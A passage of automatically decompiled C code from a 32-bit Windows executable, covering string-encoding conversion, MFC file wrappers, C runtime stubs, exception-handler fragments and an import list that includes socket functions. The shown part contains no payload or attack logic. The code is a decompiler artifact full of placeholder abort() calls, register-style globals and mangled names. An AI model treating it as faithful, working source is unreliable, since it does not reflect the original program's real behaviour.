  5948. *(int32_t *)(g2 - 20) = v4;
  5949. *(char *)(g2 - 4) = (char)CodePage;
  5950. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(v4);
  5951. g5 = v4;
  5952. g7 = v5;
  5953. abort();
  5954. // UNREACHABLE
  5955. }
  5956.  
  5957. // Address range: 0x40497c - 0x404a67
  5958. int32_t function_40497c(int32_t a1) {
  5959. int32_t v1 = function_404b60(); // 0x404981
  5960. int32_t CodePage = 0; // ebx
  5961. *(int32_t *)(g2 - 20) = 0;
  5962. unsigned char v2 = *(char *)(g2 + 11); // 0x404991
  5963. *(int32_t *)(g2 - 4) = 1;
  5964. *(char *)(g2 - 36) = (char)((int32_t)v2 | v1 & -256);
  5965. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(CodePage);
  5966. *(char *)(g2 - 4) = 2;
  5967. int32_t v3 = *(int32_t *)(g2 + 16); // 0x4049af
  5968. int32_t lpWideCharStr = v3; // 0x4049c5
  5969. if (v3 == CodePage) {
  5970. // 0x4049b3
  5971. lpWideCharStr = *(int32_t *)0x4060e4;
  5972. // branch -> 0x4049b8
  5973. }
  5974. char * lpMultiByteStr = (char *)CodePage; // 0x4049b8
  5975. char * str = lpMultiByteStr; // bp-44
  5976. int32_t cchWideChar = *(int32_t *)(g2 + 20); // 0x4049c2
  5977. int32_t v4 = WideCharToMultiByte(CodePage, CodePage, (int16_t *)lpWideCharStr, cchWideChar, lpMultiByteStr, CodePage, lpMultiByteStr, (bool *)CodePage); // 0x4049c8
  5978. *(int32_t *)(g2 - 16) = v4;
  5979. int32_t v5 = v4 + 1; // 0x4049cd
  5980. str = (char *)v5;
  5981. int32_t lpMultiByteStr2 = __3f__3f_2_40_YAPAXI_40_Z(v5); // 0x4049cf
  5982. int32_t v6 = *(int32_t *)(g2 + 16); // 0x4049d6
  5983. int32_t lpWideCharStr2; // 0x4049ec
  5984. if (v6 == CodePage) {
  5985. // 0x4049de
  5986. lpWideCharStr2 = *(int32_t *)0x4060e4;
  5987. // branch -> 0x4049e3
  5988. } else {
  5989. lpWideCharStr2 = v6;
  5990. }
  5991. char * lpDefaultChar = (char *)CodePage; // 0x4049e3
  5992. str = lpDefaultChar;
  5993. int32_t cbMultiByte = *(int32_t *)(g2 - 16); // 0x4049e5
  5994. int32_t cchWideChar2 = *(int32_t *)(g2 + 20); // 0x4049e9
  5995. WideCharToMultiByte(CodePage, CodePage, (int16_t *)lpWideCharStr2, cchWideChar2, (char *)lpMultiByteStr2, cbMultiByte, lpDefaultChar, (bool *)CodePage);
  5996. int32_t v7 = *(int32_t *)(g2 - 16); // 0x4049f1
  5997. str = (char *)lpMultiByteStr2;
  5998. *(char *)(lpMultiByteStr2 + v7) = (char)CodePage;
  5999. int32_t len = strlen(str); // 0x4049f8
  6000. *(int32_t *)&str = len;
  6001. _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(lpMultiByteStr2, len);
  6002. __3f__3f_3_40_YAXPAX_40_Z(lpMultiByteStr2);
  6003. *(char *)*(int32_t *)(g2 + 8) = *(char *)(g2 - 36);
  6004. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)(char *)CodePage);
  6005. int32_t v8 = *(int32_t *)*(int32_t *)0x4060b4; // 0x404a28
  6006. int32_t v9 = g2 - 36; // 0x404a2a
  6007. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v9, CodePage, v8);
  6008. int32_t v10 = 1; // edi
  6009. *(int32_t *)(g2 - 20) = 1;
  6010. *(char *)(g2 - 4) = 1;
  6011. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(v10);
  6012. *(char *)(g2 - 4) = (char)CodePage;
  6013. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(v10);
  6014. g5 = v10;
  6015. g3 = (int32_t)(int16_t *)v9;
  6016. abort();
  6017. // UNREACHABLE
  6018. }
  6019.  
  6020. // Address range: 0x404a68 - 0x404a6d
  6021. int32_t __3f__3f_3_40_YAXPAX_40_Z(int32_t a1) {
  6022. // 0x404a68
  6023. return _3f__3f_3_40_YAXPAX_40_Z();
  6024. }
  6025.  
  6026. // Address range: 0x404a6e - 0x404a73
  6027. int32_t __3f__3f_2_40_YAPAXI_40_Z(int32_t a1) {
  6028. // 0x404a6e
  6029. return _3f__3f_2_40_YAPAXI_40_Z();
  6030. }
  6031.  
  6032. // Address range: 0x404a74 - 0x404a79
  6033. int32_t __3f__3f_1CFile_40__40_UAE_40_XZ(void) {
  6034. // 0x404a74
  6035. return _3f__3f_1CFile_40__40_UAE_40_XZ();
  6036. }
  6037.  
  6038. // Address range: 0x404a7a - 0x404a7f
  6039. int32_t __3f_Read_40_CFile_40__40_UAEIPAXI_40_Z(int32_t a1, int32_t a2) {
  6040. // 0x404a7a
  6041. return _3f_Read_40_CFile_40__40_UAEIPAXI_40_Z();
  6042. }
  6043.  
  6044. // Address range: 0x404a80 - 0x404a85
  6045. int32_t __3f_Seek_40_CFile_40__40_UAEJJI_40_Z(int32_t a1, int32_t a2) {
  6046. // 0x404a80
  6047. return _3f_Seek_40_CFile_40__40_UAEJJI_40_Z();
  6048. }
  6049.  
  6050. // Address range: 0x404a86 - 0x404a8b
  6051. int32_t __3f_GetLength_40_CFile_40__40_UBEKXZ(void) {
  6052. // 0x404a86
  6053. return _3f_GetLength_40_CFile_40__40_UBEKXZ();
  6054. }
  6055.  
  6056. // Address range: 0x404a8c - 0x404a91
  6057. int32_t __3f__3f_0CFile_40__40_QAE_40_PBDI_40_Z(int32_t a1) {
  6058. // 0x404a8c
  6059. return _3f__3f_0CFile_40__40_QAE_40_PBDI_40_Z();
  6060. }
  6061.  
  6062. // Address range: 0x404a92 - 0x404a97
  6063. int32_t _strlen(char * s) {
  6064. // 0x404a92
  6065. return strlen(s);
  6066. }
  6067.  
  6068. // Address range: 0x404a98 - 0x404ac3
  6069. int32_t function_404a98(int32_t a1) {
  6070. // 0x404a98
  6071. int32_t v1;
  6072. if (g65 == (void (***)())-1) {
  6073. // 0x404aa1
  6074. return (int32_t)_onexit((int32_t (*)())v1);
  6075. }
  6076. int32_t (*v2)() = __dllonexit((int32_t (*)())v1, (void (***)())&g65, (void (***)())&g64); // 0x404abb
  6077. return (int32_t)v2;
  6078. }
  6079.  
  6080. // Address range: 0x404ac4 - 0x404ad5
  6081. int32_t function_404ac4(int32_t a1) {
  6082. // 0x404ac4
  6083. return (int32_t)(function_404a98(a1) != 0) - 1;
  6084. }
  6085.  
  6086. // Address range: 0x404b14 - 0x404b1f
  6087. int32_t function_404b14(void) {
  6088. // entry
  6089. return g1;
  6090. }
  6091.  
  6092. // Address range: 0x404b20 - 0x404b4f
  6093. int32_t function_404b20(void) {
  6094. // 0x404b20
  6095. int32_t v1;
  6096. int32_t v2 = &v1; // 0x404b26
  6097. int32_t result;
  6098. if (g1 < 0x1000) {
  6099. // 0x404b40
  6100. *(int32_t *)(v2 - g1 - 4) = result;
  6101. return result;
  6102. }
  6103. int32_t v3 = v2 - 0x1000; // 0x404b2c
  6104. int32_t v4 = g1 - 0x1000; // 0x404b32
  6105. while (v4 >= 0x1000) {
  6106. // 0x404b2c
  6107. v3 -= 0x1000;
  6108. v4 -= 0x1000;
  6109. // continue -> 0x404b2c
  6110. }
  6111. // 0x404b40
  6112. // branch -> 0x404b40
  6113. // 0x404b40
  6114. *(int32_t *)(v3 - v4 - 4) = result;
  6115. return result;
  6116. }
  6117.  
  6118. // Address range: 0x404b50 - 0x404b5f
  6119. int32_t ___CxxFrameHandler(int32_t * pExcept, int32_t * pRN, int32_t * pContext, int32_t * pDC) {
  6120. // 0x404b50
  6121. return __CxxFrameHandler(pExcept, pRN, pContext, pDC);
  6122. }
  6123.  
  6124. // Address range: 0x404b60 - 0x404b7f
  6125. int32_t function_404b60(void) {
  6126. // 0x404b60
  6127. abort();
  6128. // UNREACHABLE
  6129. }
  6130.  
  6131. // Address range: 0x404b80 - 0x404b85
  6132. int32_t * _memcpy_1(int32_t * dest, int32_t * src, int32_t n) {
  6133. // 0x404b80
  6134. return memcpy(dest, src, n);
  6135. }
  6136.  
  6137. // Address range: 0x404b86 - 0x404b8b
  6138. char * _strcpy(char * dest, char * src) {
  6139. // 0x404b86
  6140. return strcpy(dest, src);
  6141. }
  6142.  
  6143. // Address range: 0x404b8c - 0x404b91
  6144. int32_t * _memset_2(int32_t * s, int32_t c, int32_t n) {
  6145. // 0x404b8c
  6146. return memset(s, c, n);
  6147. }
  6148.  
  6149. // Address range: 0x404b92 - 0x404b97
  6150. int32_t _strcmp(char * s1, char * s2) {
  6151. // 0x404b92
  6152. return strcmp(s1, s2);
  6153. }
  6154.  
  6155. // Address range: 0x404b98 - 0x404b9d
  6156. char * _strcat(char * dest, char * src) {
  6157. // 0x404b98
  6158. return strcat(dest, src);
  6159. }
  6160.  
  6161. // Address range: 0x404b9e - 0x404ba3
  6162. int32_t __except_handler3(struct _EXCEPTION_RECORD * exception_record, int32_t registration, struct _CONTEXT * context, int32_t dispatcher) {
  6163. // 0x404b9e
  6164. return _except_handler3(exception_record, registration, context, dispatcher);
  6165. }
  6166.  
  6167. // Address range: 0x404ba4 - 0x404ba9
  6168. int32_t __purecall(void) {
  6169. // 0x404ba4
  6170. return _purecall();
  6171. }
  6172.  
  6173. // Address range: 0x404baa - 0x404ce7
  6174. int32_t entry_point(void) {
  6175. // entry
  6176. abort();
  6177. // UNREACHABLE
  6178. }
  6179.  
  6180. // Address range: 0x404ce8 - 0x404cfb
  6181. int32_t function_404ce8(void) {
  6182. int32_t v1 = *(int32_t *)(g2 - 20); // 0x404ce8
  6183. int32_t v2 = *(int32_t *)*(int32_t *)v1; // 0x404ced
  6184. *(int32_t *)(g2 - 120) = v2;
  6185. return _XcptFilter(v2, (int32_t *)v1);
  6186. }
  6187.  
  6188. // Address range: 0x404cfc - 0x404d07
  6189. void function_404cfc(int32_t Code) {
  6190. // 0x404cfc
  6191. *(int32_t *)(*(int32_t *)(g2 - 24) - 4) = *(int32_t *)(g2 - 120);
  6192. _exit(Code);
  6193. }
  6194.  
  6195. // Address range: 0x404d08 - 0x404d0d
  6196. int32_t (*___dllonexit(int32_t (*func)(), void (***pbegin)(), void (***pend)()))() {
  6197. // 0x404d08
  6198. return __dllonexit(func, pbegin, pend);
  6199. }
  6200.  
  6201. // Address range: 0x404d0e - 0x404d13
  6202. int32_t __XcptFilter(int32_t xcptnum, int32_t * pxcptinfoptrs) {
  6203. // 0x404d0e
  6204. return _XcptFilter(xcptnum, pxcptinfoptrs);
  6205. }
  6206.  
  6207. // Address range: 0x404d14 - 0x404d19
  6208. void __initterm(void (**First)(), void (**Last)()) {
  6209. // 0x404d14
  6210. _initterm(First, Last);
  6211. }
  6212.  
  6213. // Address range: 0x404d1a - 0x404d2e
  6214. int32_t function_404d1a(void) {
  6215. // 0x404d1a
  6216. return _controlfp(0x10000, 0x30000);
  6217. }
  6218.  
  6219. // Address range: 0x404d2f - 0x404d2f
  6220. int32_t function_404d2f(void) {
  6221. // 0x404d2f
  6222. return g1;
  6223. }
  6224.  
  6225. // Address range: 0x404d30 - 0x404d35
  6226. int32_t __controlfp(int32_t NewValue, int32_t Mask) {
  6227. // 0x404d30
  6228. return _controlfp(NewValue, Mask);
  6229. }
  6230.  
  6231. // Address range: 0x404d36 - 0x404d3b
  6232. int32_t __3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_ABV10_40_PBD_40_Z(void) {
  6233. // 0x404d36
  6234. return _3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_ABV10_40_PBD_40_Z();
  6235. }
  6236.  
  6237. // Address range: 0x404d3c - 0x404d4f
  6238. int32_t __3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_PBDABV10_40__40_Z(void) {
  6239. // 0x404d3c
  6240. return _3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_PBDABV10_40__40_Z();
  6241. }
  6242.  
  6243. // Address range: 0x404d50 - 0x404dc4
  6244. int32_t function_404d50(void) {
  6245. // 0x404d50
  6246. g4 = *(int32_t *)(g2 - 20) + 24;
  6247. function_402db4();
  6248. g4 = *(int32_t *)(g2 - 20) + 60;
  6249. int32_t * v1;
  6250. function_4030e9((int32_t)&v1);
  6251. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6252. g4 = *(int32_t *)(g2 - 16) + 24;
  6253. function_402db4();
  6254. g4 = *(int32_t *)(g2 - 16) + 60;
  6255. function_4030e9((int32_t)&v1);
  6256. g4 = *(int32_t *)(g2 - 16) + 0x9d4c;
  6257. function_40378b((int32_t)&v1);
  6258. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6259. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6260. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6261. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6262. return __3f__3f_3_40_YAXPAX_40_Z(*(int32_t *)(g2 - 16));
  6263. }
  6264.  
  6265. // Address range: 0x404dc5 - 0x404e34
  6266. int32_t function_404dc5(void) {
  6267. // 0x404dc5
  6268. int32_t * v1;
  6269. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6270. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6271. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6272. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6273. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6274. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6275. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6276. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6277. _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
  6278. int32_t result; // 0x404e34
  6279. if ((*(int32_t *)(g2 - 20) & 1) != 0) {
  6280. // 0x404e2b
  6281. result = _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
  6282. // branch -> 0x404e34
  6283. } else {
  6284. result = 0;
  6285. }
  6286. // 0x404e34
  6287. return result;
  6288. }
  6289.  
  6290. // Address range: 0x404e35 - 0x404efd
  6291. int32_t function_404e35(void) {
  6292. // 0x404e35
  6293. int32_t * v1;
  6294. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6295. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6296. _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
  6297. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6298. _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
  6299. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6300. _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
  6301. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6302. g4 = *(int32_t *)(g2 - 16) + 4;
  6303. function_402db4();
  6304. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6305. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6306. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6307. g4 = *(int32_t *)(g2 - 16) + 4;
  6308. function_402db4();
  6309. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6310. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6311. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6312. g4 = *(int32_t *)(g2 - 16) + 328;
  6313. function_402db4();
  6314. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6315. return __3f__3f_3_40_YAXPAX_40_Z(*(int32_t *)(g2 - 16));
  6316. }
  6317.  
  6318. // Address range: 0x404efe - 0x405018
  6319. int32_t function_404efe(void) {
  6320. // 0x404efe
  6321. int32_t * lpCriticalSection;
  6322. __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
  6323. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6324. __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
  6325. g1 = _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
  6326. g4 = *(int32_t *)(g2 - 16);
  6327. function_40442f();
  6328. DeleteCriticalSection((struct _RTL_CRITICAL_SECTION *)&lpCriticalSection);
  6329. _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
  6330. __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
  6331. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6332. __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
  6333. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6334. g1 = __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
  6335. g4 = *(int32_t *)(g2 - 16);
  6336. function_40442f();
  6337. DeleteCriticalSection((struct _RTL_CRITICAL_SECTION *)&lpCriticalSection);
  6338. __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
  6339. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6340. __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
  6341. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6342. __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
  6343. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6344. _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
  6345. __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
  6346. _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
  6347. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6348. __CxxFrameHandler(&lpCriticalSection, &lpCriticalSection, &lpCriticalSection, &lpCriticalSection);
  6349. _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
  6350. int32_t result; // 0x405018
  6351. if ((*(int32_t *)(g2 - 20) & 1) != 0) {
  6352. // 0x40500f
  6353. result = _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
  6354. // branch -> 0x405018
  6355. } else {
  6356. result = 0;
  6357. }
  6358. // 0x405018
  6359. return result;
  6360. }
  6361.  
  6362. // Address range: 0x405019 - 0x40504d
  6363. int32_t function_405019(void) {
  6364. // 0x405019
  6365. int32_t * v1;
  6366. __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6367. _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ();
  6368. _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6369. int32_t result; // 0x40504d
  6370. if ((*(int32_t *)(g2 - 20) & 1) != 0) {
  6371. // 0x405044
  6372. result = _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ();
  6373. // branch -> 0x40504d
  6374. } else {
  6375. result = 0;
  6376. }
  6377. // 0x40504d
  6378. return result;
  6379. }
  6380.  
  6381. // Address range: 0x40504e - 0x405057
  6382. int32_t function_40504e(void) {
  6383. // 0x40504e
  6384. int32_t * v1;
  6385. return __CxxFrameHandler(&v1, &v1, &v1, &v1);
  6386. }
  6387.  
  6388. // --------------- Statically Linked Functions ----------------
  6389.  
  6390. // __int64 __allmul(__int64 a, __int64 b);
  6391.  
  6392. // --------------- Dynamically Linked Functions ---------------
  6393.  
  6394. // int32_t _3f__3f_0_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(int32_t a1);
  6395. // int32_t _3f__3f_0_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(int32_t a1);
  6396. // int32_t _3f__3f_0CFile_40__40_QAE_40_PBDI_40_Z(void);
  6397. // int32_t _3f__3f_1_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_XZ(void);
  6398. // int32_t _3f__3f_1_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_XZ(void);
  6399. // int32_t _3f__3f_1CFile_40__40_UAE_40_XZ(void);
  6400. // int32_t _3f__3f_2_40_YAPAXI_40_Z(void);
  6401. // int32_t _3f__3f_3_40_YAXPAX_40_Z(void);
  6402. // int32_t _3f__3f_9std_40__40_YA_NABV_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_0_40_0_40_Z(int32_t a1, int32_t a2);
  6403. // int32_t _3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_ABV10_40_PBD_40_Z(void);
  6404. // int32_t _3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_PBDABV10_40__40_Z(void);
  6405. // int32_t _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(int32_t a1);
  6406. // int32_t _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(int32_t a1);
  6407. // int32_t _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(void);
  6408. // int32_t _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(int32_t a1, int32_t a2);
  6409. // int32_t _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(int32_t a1, int32_t a2, int32_t a3);
  6410. // int32_t _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(int32_t a1, int32_t a2);
  6411. // int32_t _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(int32_t a1, int32_t a2, int32_t a3);
  6412. // int32_t _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_PBGI_40_Z(int32_t a1, int32_t a2);
  6413. // int32_t _3f_compare_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QBEHABV12_40__40_Z(int32_t a1);
  6414. // int32_t _3f_compare_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QBEHIIPBDI_40_Z(int32_t a1, int32_t a2, int32_t a3, int32_t a4);
  6415. // int32_t _3f_GetLength_40_CFile_40__40_UBEKXZ(void);
  6416. // int32_t _3f_Read_40_CFile_40__40_UAEIPAXI_40_Z(void);
  6417. // int32_t _3f_Seek_40_CFile_40__40_UAEJJI_40_Z(void);
  6418. // EXCEPTION_DISPOSITION __CxxFrameHandler(EHExceptionRecord * pExcept, EHRegistrationNode * pRN, void * pContext, DispatcherContext * pDC);
  6419. // _onexit_t __dllonexit(_onexit_t func, _PVFV ** pbegin, _PVFV ** pend);
  6420. // char ** __cdecl __p__pgmptr(void);
  6421. // unsigned int __cdecl _controlfp(_In_ unsigned int NewValue, _In_ unsigned int Mask);
  6422. // int _except_handler3(PEXCEPTION_RECORD exception_record, PEXCEPTION_REGISTRATION registration, PCONTEXT context, PEXCEPTION_REGISTRATION dispatcher);
  6423. // void __cdecl _exit(_In_ int Code);
  6424. // void __cdecl _initterm(_In_ _PVFV * First, _In_ _PVFV * Last);
  6425. // char * _itoa(int value, char * str, int radix);
  6426. // _onexit_t _onexit(_onexit_t Function);
  6427. // int32_t _purecall(void);
  6428. // int __cdecl _stricmp(_In_z_ char const * String1, _In_z_ char const * String2);
  6429. // int _XcptFilter(unsigned long xcptnum, void * pxcptinfoptrs);
  6430. // long int atol(const char * nptr);
  6431. // BOOL CloseHandle(_In_ HANDLE hObject);
  6432. // int closesocket(_In_ SOCKET s);
  6433. // int connect(_In_ SOCKET s, const struct sockaddr * name, _In_ int namelen);
